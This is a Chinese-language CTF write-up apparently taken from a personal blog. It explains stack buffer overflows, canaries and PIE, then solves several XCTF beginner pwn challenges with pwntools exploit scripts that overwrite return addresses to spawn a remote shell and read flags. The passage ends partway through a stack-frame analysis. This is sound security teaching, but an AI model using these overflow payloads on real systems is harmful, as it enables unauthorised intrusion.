dustland

dustball in dustland

xctf攻防世界-pwn-新手村

xctf攻防世界-pwn-新手村

image-20220603161727708

000新手村准备

栈缓冲区溢出原理

一些C语言函数在获取输入到缓冲区时不关心缓冲区大小和输入长度,只要有输入就一直往缓冲区写入数据,如果往一个只能容纳两个字符的缓冲区写入三个字符就会导致缓冲区溢出

比如这么一个程序

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
void func(){
char s[2];
char a='a';
gets(s);
printf("%c",a);
return;
}

int main(){
func();
return 0;
}

使用gcc main.c -fno-stack-protector -O0 -o main -g编译

-fno-stack-protector不使用栈保护者(比如金丝雀)

-O0不使用编译优化

-g生成gdb调试信息,即创建.debug

-o main编译链接生成的程序改名为main

此时会报一个编译警告

1
warning: the `gets' function is dangerous and should not be used.

为什么说gets函数是危险的?因为他没有对输入的字符数和缓冲区大小进行检查,

使用checksec命令观察该程序使用的保护措施,发现No canary found即没有使用金丝雀

image-20220511100355390

首先使用ida64打开程序观察一下func函数的栈帧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-0000000000000010
-0000000000000010 db ? ; undefined ;后面开出的这一些是为了栈16字节对齐
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 s db 2 dup(?)
-0000000000000001 a db ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

返回地址在rbp+0x8,

char arbp-0x1

char s[2] 数组在rbp-0x3

栈是从高地址向低地址增长的,然后站内的局部变量是从低地址向高地址增长的,即如果输入s,第一个字符会放在rbp-0x3,第二个字符会放在rbp-0x2,此时缓冲区用完了,如果有第三个字符,则放在0x01而这里恰好是a变量的地址,因此如果输入2个以上字符则会破坏a变量

注意这里char s[2]中的2关键,它就限制了s数组的大小是2字节.

char buffer[]="123456"和char buffer[10]="123456"两者的区别就是

前者buffer根据"123456"确定为6个字节,而后者buffer固定为10字节

缓冲区长度固定很重要,使我们可以计算缓冲区和返回地址的距离

为了验证这个事情,我们用gdb调试器调试

image-20220511091428527

在第七行和第八行分别下断点,运行之后程序停在第七行然后continue,接下来输入bcd作为gets的输入,按下enter之后程序停在第八行

此时print a发现a的值已经变成了d

如果没有开启金丝雀保护,那么再使使劲输入点东西,可以溢出改变返回地址

防御措施

金丝雀canary

同样的程序使用gcc main.c -Og -o main -g编译链接,相对于刚才的编译选项,这次没有-fno-stack-protector,默认使用栈保护者金丝雀

这次再使用checksec命令查看保护措施,发现Canary found即有金丝雀保护

image-20220511100510166

用ida64查看反汇编,相对于没有金丝雀保护的程序,func函数这次多了一些东西

func

1
2
3
4
5
6
7
8
9
10
11
12
13
...;开端

.text:0000000000001192 mov ebx, 28h ; '('
.text:0000000000001197 mov rax, fs:[rbx] ;fs段寄存器,偏移量28h处的一个四字搬进rax
.text:000000000000119B mov [rsp+18h+var_10], rax ;rax再搬进栈上var_10

...;主要逻辑,中途rbx寄存器值不变

.text:00000000000011B6 mov rax, [rsp+18h+var_10] ;栈上var_10搬出来给rax
.text:00000000000011BB xor rax, fs:[rbx] ;fs:[rbx]取出来和rax作比较
.text:00000000000011BF jnz short loc_11C7 ;两者相同则说明var_10没有被修改过,否则溢出

...尾声

loc_11C7

1
2
3
4
5
.text:00000000000011C7 loc_11C7:                               ; CODE XREF: func+36↑j
.text:00000000000011C7 call ___stack_chk_fail ;报告错误
.text:00000000000011C7 ; } // starts at 1189
.text:00000000000011C7 func endp
.text:00000000000011C7

下面我们用gdb调试器动态观察一下.text:0000000000001197 mov rax, fs:[rbx]发生后,rax中存放的是什么

首先使用gcc main.c -O0 -S得到main.s然后使用gcc -g main.s -o main得到main

然后gdb -tui -q main对汇编代码进行调试

image-20220511110203468

如果此时我们输入3个以上字符然后继续执行

image-20220511110350341

再从栈中取出-8(%rbp)到rax中时,值已经被改变

异或运算之后打印eflag寄存器观察ZF标志位

1
eflags         0x206               [ PF IF ]

发现ZF为0即刚才运算结果不为0,不会跳转je .L3,而是顺序执行call __stack_chk_fail@PLT

每次运行程序的时候fs:28h上的值都不同,即通过猜测金丝雀值进行绕过也是不太可能的

PIE

PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题

如果不使用PIE保护则每次进程的虚拟地址空间都是不变的

比如main.c

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>

void func(){
printf("%p",&func);
}

int main(){
func();
return 0;
}

开启PIE保护时

低12个二进制位不变但是高位会变

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE]
└─# gcc main.c -o main

┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE]
└─# ./main
0x55eebe8f7139
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE]
└─# ./main
0x561135f2c139
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE]
└─# ./main
0x556dca0ef139

不开启PIE保护时

1
2
3
4
5
6
7
8
9
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE]
└─# gcc -fno-stack-protector -no-pie main.c -o main

┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE]
└─# ./main
0x401126
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE]
└─# ./main
0x401126

func的地址就恒为0x401126不变了

001level0

ret2text(return to text)返回.text节的函数

目的是getshell,

1
2
3
root@Executor:/mnt/c/Users/86135/Desktop/pwn/level0# checksec --file=level0
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 69 Symbols No 0 1 level0

只有一个NX保护,没有金丝雀保护

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL); //系统调用,向标准输出 输出"Hello,World\n",最多输出0xD=13个字符
return vulnerable_function(); //返回vulnerable_function的返回值
}

这个函数就直接叫vulnerable_function生怕人家不知道他虚

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF //128字节的缓冲区

return read(0, buf, 0x200uLL); //系统调用,从标准输入获取至多0x200=512字节,写入buf缓冲区
}

可以看到read(0, buf, 0x200uLL);可以获取比缓冲区大很多的输入,这里存在栈缓冲区溢出,那么怎么利用呢

如果使用ret2text的方法,只需要再在.text节找一个能够执行shell的函数,然后将其开始溢出到vulnerable_function函数的栈返回值位置

vulnerable_function的栈帧:

1
2
3
4
5
-0000000000000080 buf             db 128 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

前128+8个字符无用,第136个字符开始的八个字节存放的是该函数的返回地址

考虑ret2text方法,找一下有没有text节中可以调用shell的函数,可以通过ctrl+1然后观察Strings视图

image-20220511160139521

发现有这么一个/bin/sh也是shell的一种,双击观察

image-20220511160213620

从交叉引用注释发现'/bin/sh'被callsystem函数调用,双击该交叉引用跳转到该函数

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:0000000000400596 ; Attributes: bp-based frame	
.text:0000000000400596
.text:0000000000400596 public callsystem
.text:0000000000400596 callsystem proc near
.text:0000000000400596 ; __unwind {
.text:0000000000400596 push rbp
.text:0000000000400597 mov rbp, rsp
.text:000000000040059A mov edi, offset command ; "/bin/sh" ;/bin/sh作为参数压栈
.text:000000000040059F call _system ;调用system()函数,执行shell命令
.text:00000000004005A4 pop rbp
.text:00000000004005A5 retn
.text:00000000004005A5 ; } // starts at 400596
.text:00000000004005A5 callsystem endp

该函数就干了一件事system("/bin/sh"),该函数起始地址0x400596

可笑的是,主函数相关的调用链上并没有该函数,即该函数写了白写并且还能和栈缓冲区溢出一起成为内鬼

下面需要做到就是在vulnerable_function中read获取输入的时候将前136个字符乱写一气,然后接下来的八个字节写入0x400596,当vulnerable_function返回时,程序计数器PC获取其栈中保存的返回地址从0x400596callsystem函数的起始位置开始执行,诚如是,则shell得矣

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#连接到111.200.241.244:58761
sh=remote('111.200.241.244','58761')

#构造负载,前0x88个字符随便写,不妨都写'a',接下来八个字节要写0x00 40 05 96,而这显然不是ASCII码 可打印字符 能办到的
payload=('a'*0x88).encode()+p64(0x400596)

#向远程主机发送payload
sh.sendline( payload )

#建立交互式shell
sh.interactive()

p64函数干了啥?package 64位

1
2
>>> p64(0x400596)
b'\x96\x05@\x00\x00\x00\x00\x00'

将参数按照小端模式转化成有8个字符的字符串,其中可打印的ascii字符比如@就直接用字符表示,否则用\x XX这种形式表示

p32函数会干啥?

1
2
>>> p32(0x400596)
b'\x96\x05@\x00'

将参数按照小端模式转化成有4个字符的字符串,其中可打印的ascii字符比如@就直接用字符表示,否则用\x XX这种形式表示

本题使用p32(0x400596)是不可以的,因为如此打包则只会认为0x88之后只输入了4个字符,那么溢出会挤掉vulnerable_function函数一开始存放返回地址的低位前四个字节,不能保证后面高位四个字节都是0

p64(0x400596)之后高四字节直接置0,保证返回到callsystem函数

用kali或者ubuntu执行exp.py

python3 exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[+] Opening connection to 111.200.241.244 on port 58761: Done
[*] Switching to interactive mode
Hello, World
$ ls
bin
dev
flag
level0
lib
lib32
lib64
$ cat flag
cyberpeace{8efeda8a14caa49a15f88847757ca2d0}
$

002level2

本题需要非常熟悉x86-64汇编语言的函数调用过程,能够改变栈顶指针的指令,

能够改变栈顶指针的指令有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
I.sub/add	显式改变栈顶指针esp

II.push/pop 压栈退栈,以4字节为单元

III.leave 函数最后释放自己局部变量的栈空间

IV.call/retn
假设P中call Q 1.把P中call Q的下面一条指令压栈,2.Q->eip即设置程序计数器
一定要注意,在改变程序计数器之前是有一个压栈保存返回地址的

在刚进入Q函数时,栈顶还是指向返回地址的,
然后对于_cdecl调用约定,会有esp压栈保存,
然后才是Q函数的局部变量的栈空间
而Q函数参数的栈空间是在P函数中分配的
1
2
3
4
5
6
7
PS C:\Users\86135\Desktop\pwn\level2> checksec --file=level2
[*] 'C:\\Users\\86135\\Desktop\\pwn\\level2\\level2'
Arch: i386-32-little ;32位程序
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

直接看反汇编

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}

32位_cdecl调用约定下,传参不使用寄存器,只使用栈传参,

上述两点使得通过栈缓冲区溢出自己设置参数成为可能

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

system("echo Input:");
return read(0, buf, 0x100u);
}

vulnerable_function函数栈帧

1
2
3
4
5
-00000088 buf             db 136 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables

根据level0的思路,前140个字节胡乱输入,接下来4个字节写一个可以getshell的函数地址,下面就去找一个这样的函数

先看一下Strings里面有没有/bin/sh类似字样

确实找到一个,但是没有交叉引用,即没有任何函数使用它

1
.data:0804A024 hint            db '/bin/sh',0

如果想要获取shell,需要有system('/bin/sh')这种函数调用

因此需要在level0的思路上修改一下,构造一个system('/bin/sh')这种函数调用

上述函数调用,其汇编指令应为

1
2
push offset cmd		;cmd为'/bin/sh'的地址
call system

vulnerable_function函数首先执行一个system函数然后执行read,然后返回

显然地址我们可以使用溢出修改成调用system函数的地址

1
.text:0804845C                 call    _system

在此之前,需要保证栈顶放好了'/bin/sh'的地址.data:0804A024 hint db '/bin/sh',0

那么需要精确的计算出栈顶此时的位置(esp栈顶指针与ebp帧指针的距离)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0804844B                 push    ebp
.text:0804844C mov ebp, esp ;esp=ebp=0,ebp在本函数中永远不会变化
.text:0804844E sub esp, 88h ; buf ;esp=-0x88
.text:08048454 sub esp, 0Ch ;esp=-0x94
.text:08048457 push offset command ; "echo Input:" ;esp=-0x98
.text:0804845C call _system ;esp=-0x98->-0x9C->-0x98
.text:08048461 add esp, 10h ;esp=-0x88
.text:08048464 sub esp, 4 ;esp=-0x8C
.text:08048467 push 100h ; nbytes ;esp=-0x90
.text:0804846C lea eax, [ebp+buf]
.text:08048472 push eax ; buf ;esp=-0x94
.text:08048473 push 0 ; fd ;esp=-0x98
.text:08048475 call _read ;esp=-0x98->-0x9C->-0x98
.text:0804847A add esp, 10h ;esp=-0x88
.text:0804847D nop
.text:0804847E leave
.text:0804847F retn ;从rbp+4位置退出

vulnerable_function执行.text:0804847E leave之前,栈顶指针相对于帧指针位于-0x88位置恰为buf的起始位置,然后leave的作用是

1
2
mov esp,ebp																;esp=0
pop ebp ;esp=+4

然后执行retn,相当于pop eip将本应该是正常返回的地址值交给程序计数器eip,然后程序跳转到该位置(system函数的地址)继续执行

考虑'/bin/sh'的地址作为system参数应该放在那里呢?

当eip中的指令被执行时,参数是此时的栈顶,即esp=+8的位置,这个位置不在vulnerable_function函数栈中,而是在他的调用者main中,但是eip修改之后从vulnerable_function不能返回到main,那么此时栈帧对于main函数来说就无意义了,此时的栈帧可以被任何函数利用

整个过程用表格表示为

image-20220511210551512

综上,esp∈[ebp-0x88,ebp+0x4)0x8C个字节随便写,然后[ebp+0x4,ebp+0x8)写system函数地址,[ebp+0x8,ebp+0xC)写system的参数地址

ebp+x,x越大越靠近栈底,这里system在[ebp+0x4,ebp+0x8),其参数在[ebp+0x8,ebp+0xC),参数相对函数地址是更早的,即更靠近栈底的

exp

本地测试

1
2
3
4
5
6
7
8
9
10
from pwn import *

sh=process('./level2')

payload=('a'*0x8C).encode()+p32(0x0804845C)+p32(0x0804A024);
//前0x8C随便写 + system地址 +参数地址
sh.sendline( payload )

sh.interactive()

运行结果:

1
2
3
4
5
6
7
8
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level2]
└─$ python3 exp.py
[+] Starting local process './level2': pid 72
[*] Switching to interactive mode
Input:
$ whoami
kali
$

连接靶机

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

# sh=process('./level2')

sh=remote('111.200.241.244','53153') ;连接到攻防世界靶机

payload=('a'*0x8C).encode()+p32(0x0804845C)+p32(0x0804A024);

sh.sendline( payload )

sh.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level2]
└─$ python3 exp.py
[+] Opening connection to 111.200.241.244 on port 53153: Done
[*] Switching to interactive mode
Input:
$ ls
bin
dev
flag
level2
lib
lib32
lib64
$ cat flag
cyberpeace{37be55c2ba683c43f9410e5e7400e59d}

003guess_num(栈缓冲区溢出改变随机数种子)

1
2
3
4
5
6
7
PS C:\Users\86135\Desktop\pwn\guess_num> checksec guess_num
[*] 'C:\\Users\\86135\\Desktop\\pwn\\guess_num\\guess_num'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-3Ch] BYREF
int i; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
char v7[32]; // [rsp+10h] [rbp-30h] BYREF
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]

v9 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v4 = 0;
v6 = 0;
*(_QWORD *)seed = sub_BB0(); //生成随机数种子
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(v7); //v7缓冲区长32字节,这里可以溢出
srand(seed[0]);
for ( i = 0; i <= 9; ++i ) //猜数游戏一共需要 玩九次
{
v6 = rand() % 6 + 1; //v6∈[1,6]
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4); //无法溢出
puts("---------------------------------");
if ( v4 != v6 ) //每次成功都需要v4=v6
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E(); //cat flag
return 0LL;
}

main函数的栈帧

1
2
3
4
5
6
7
8
9
10
-000000000000003C var_3C          dd ?					;v4
-0000000000000038 var_38 dd ? ;i
-0000000000000034 var_34 dd ? ;v6
-0000000000000030 var_30 db 32 dup(?) ;v7缓冲区
-0000000000000010 seed dd 2 dup(?)
-0000000000000008 var_8 dq ? ;v9
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

从栈帧布局上看,v7溢出无法修改v6,i,v4,只能溢出高地址的seed,var_8,s,r

这里只需要溢出到seed,把它改成0

当随机数种子为0时,其生成的伪随机数序列是固定的

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
int seed = 0;
srand(seed);
for (int i = 0; i <= 9; ++i) {
printf("%d ",rand()%6+1);
}
return 0;
}

在windows上的运行结果:

1
3  4  5  2  6  2  2  6  5  1

在linux上的运行结果

1
2  5  4  2  6  2  5  1  4  2 

[ebp-30h,ebp-10h)随便写,[ebp-10h,ebp-8h)溢出成0

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

# sh=process('./guess_num')
sh=remote('111.200.241.244','61574')

sh.recvuntil('Your name:')

payload='A'*0x20+p64(0).decode('unicode_escape')

sh.sendline(payload)

# sh.recvuntil('Please input your guess number:')
sh.sendline('2')

# sh.recvuntil('Please input your guess number:')
sh.sendline('5')

# sh.recvuntil('Please input your guess number:')
sh.sendline('4')

# sh.recvuntil('Please input your guess number:')
sh.sendline('2')

# sh.recvuntil('Please input your guess number:')
sh.sendline('6')

# sh.recvuntil('Please input your guess number:')
sh.sendline('2')

# sh.recvuntil('Please input your guess number:')
sh.sendline('5')

# sh.recvuntil('Please input your guess number:')
sh.sendline('1')

# sh.recvuntil('Please input your guess number:')
sh.sendline('4')

# sh.recvuntil('Please input your guess number:')
sh.sendline('2')

sh.interactive()

运行结果:

1
2
3
Success!
You are a prophet!
Here is your flag!cyberpeace{60097ace8e8ecc14e7efb47bab0d5ef1}

004int_overflow(栈缓冲区溢出改变栈中整数)

1
2
3
4
5
6
7
PS C:\Users\86135\Desktop\pwn\int_overflow> checksec int_overflow
[*] 'C:\\Users\\86135\\Desktop\\pwn\\int_overflow\\int_overflow'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

直接看String视图,发现有一个

image-20220519232804685

.rodata:08048960 command db 'cat flag',0 ; DATA XREF: what_is_this+9↑o

交叉引用上表明这个字符串出现在what_is_this

1
2
3
4
int what_is_this()
{
return system("cat flag");
}

然而Function calls视图上没有任何函数调用该函数,看来需要栈溢出修改函数返回地址调用了

login()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int login()
{
char buf[512]; // [esp+0h] [ebp-228h] BYREF
char s[40]; // [esp+200h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
memset(buf, 0, sizeof(buf));
puts("Please input your username:");
read(0, s, 0x19u);//s缓冲区大小40字节,这里限制最大读入0x19<40,不会溢出
printf("Hello %s\n", s);
puts("Please input your passwd:");
read(0, buf, 0x199u);//buf大小为512字节,这里限定读入不超过0x199<512,不会溢出
return check_passwd(buf);
}

check_passwd(buf)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h] //注意v3长度为8位,一个字节,能表示[0,255]范围的非负整数

v3 = strlen(s); //strlen返回值可以长于8位,因此会发生溢出
if ( v3 <= 3u || v3 > 8u ) //要求v3长度在[4,8]之间
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else//需要通过溢出使得前面对v3的限制通过,然后将what_is_this的地址溢出到返回地址
{
puts("Success");
fflush(stdout);
result = strcpy(dest, s);//将s拷贝到dest,s最长0x199字节,而dest最长11字节,显然可以溢出
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-00000018                 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 dest db 11 dup(?)
-00000009 var_9 db ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 s dd ? ; offset
+0000000C
+0000000C ; end of stack variables

\[ dest\in [ebp-14h,ebp-9h) \]

溢出时[ebp-0x14h,ebp+0x3h]共24字节用任意字符填空

[ebp+4,ebp+7]填上返回值地址0x804868B

1
payload='A'*24+p32(0x804868B).decode('unicode_escape')

还要考虑如何通过if ( v3 <= 3u || v3 > 8u )

unsigned char a=256则实际上a=0

unsigned char a=260则实际上a=4

unsigned char a=264则实际上a=8

对256取模

那么v3 = strlen(s);这里s的长度应该在260到264之间

刚才payload中已经构造出了20个字符,还需要再填充240个字符

1
payload='A'*24+p32(0x804868B).decode('unicode_escape')+'A'*232

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

# sh=process('./int_overflow')

sh=remote('111.200.241.244','60842')

sh.recvuntil('Your choice:')

sh.sendline('1')

sh.recvuntil('Please input your username:')

sh.sendline('vader')

sh.recvuntil('Please input your passwd:')

payload='A'*24+p32(0x804868B).decode('unicode_escape')+'A'*232

sh.sendline(payload)

sh.interactive()

1
2
Success
cyberpeace{d28ca52ce20608a03519e5fcbd79b1b5}

005cgpwn2(ret2text)

反汇编分析

main()->hello()

1
2
3
4
5
6
7
8
char *hello()
{
...//前面运算了一堆,没有用
puts("please tell me your name");
fgets(name, 50, stdin); //输入姓名,无用之用,方为大用
puts("hello,you can leave some message here:");
return gets((char *)&s);//gets(s)可以实现栈缓冲区溢出
}

pwn()

1
2
3
4
int pwn()
{
return system("echo hehehe");
}

这有一个没有被调用过的函数,pwn(),它使用了system调用shell.

然而它打印的这句话"echo hehehe"是在rodata只读区的,没法溢出修改.

但是pwn不是一无是处,起码有一个可以调用system的地址0x08048420

1
2
3
4
5
.text:0804855A                 call    _system

.plt:08048420 jmp ds:off_804A01C
.plt:08048420 _system endp
.plt:08048420

如果可以修改hello的返回值为0x0804855A,并将期望的命令比如/bin/sh放在栈顶,如此也可以获得shell

下面考虑如何利用return gets((char *)&s);实现栈缓冲区溢出

考虑栈缓冲区溢出

hello函数的栈帧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
-00000038                 db ? ; undefined		;从ebp-39到ebp-9为局部变量栈帧
...
-00000026 s dw ?
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C db ? ; undefined
-0000000B db ? ; undefined
-0000000A db ? ; undefined
-00000009 db ? ; undefined ;从ebp-39到ebp-9为局部变量栈帧

-00000008 db ? ; undefined ;ebx被调用者保存位置
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined ;ebx结束

-00000004 db ? ; undefined ;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束

+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables

开端和尾声 每条指令执行后的栈帧情况分析

开端:
1..text:0804864C call hello ;

call之后hello的栈帧

1
2
3
+00000004  r              db 4 dup(?)
+00000008
+00000008 ; end of stack variables

这里有一个问题,32位系统上返回值可以用4字节一个int表示,为什么这条call指令要压8字节的栈?

并且将返回值放在低4字节,高四字节全放0?

写了好多程序编译成32位的然后用ida观察都是如此,高四字节都是0.

搜了半天也没找到一个靠谱的答案,pending...

2..text:08048562 push ebp ;ebp压栈,占用4字节
1
2
3
4
+00000000  s              db 4 dup(?)			;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
3..text:08048565 push esi ;esi压栈,被调用者保存寄存器
1
2
3
4
5
6
7
8
9
-00000004                 db ? ; undefined		;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束

+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
4..text:08048566 push ebx ;ebx压栈,被调用者保存寄存器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
-00000008                 db ? ; undefined		;ebx被调用者保存位置
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined ;ebx结束

-00000004 db ? ; undefined ;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束

+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
5..text:08048567 sub esp, 30h ;为局部变量开30h字节的栈空间
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
-00000038                 db ? ; undefined		;从ebp-39到ebp-9为局部变量栈帧
...
-00000026 s dw ?
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C db ? ; undefined
-0000000B db ? ; undefined
-0000000A db ? ; undefined
-00000009 db ? ; undefined ;从ebp-39到ebp-9为局部变量栈帧

-00000008 db ? ; undefined ;ebx被调用者保存位置
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined ;ebx结束

-00000004 db ? ; undefined ;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束

+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
尾声
1..text:080485FD add esp, 30h ;开端时也是sub esp,30h 这是局部变量的空间,溢出成任意字符填空
1
2
3
4
5
6
7
8
9
10
11
12
13
14
-00000008                 db ? ; undefined		;ebx被调用者保存位置
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined ;ebx结束

-00000004 db ? ; undefined ;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束

+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
2..text:08048600 pop ebx ;被调用者保存寄存器,ebx
1
2
3
4
5
6
7
8
9
-00000004                 db ? ; undefined		;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束

+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
3..text:08048601 pop esi ;栈顶指针
1
2
3
4
+00000000  s              db 4 dup(?)			;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
4..text:08048602 pop ebp ;然后是调用者函数ebp的保存值,我们给他溢出成任意字符填空
1
2
3
+00000004  r              db 4 dup(?)
+00000008
+00000008 ; end of stack variables
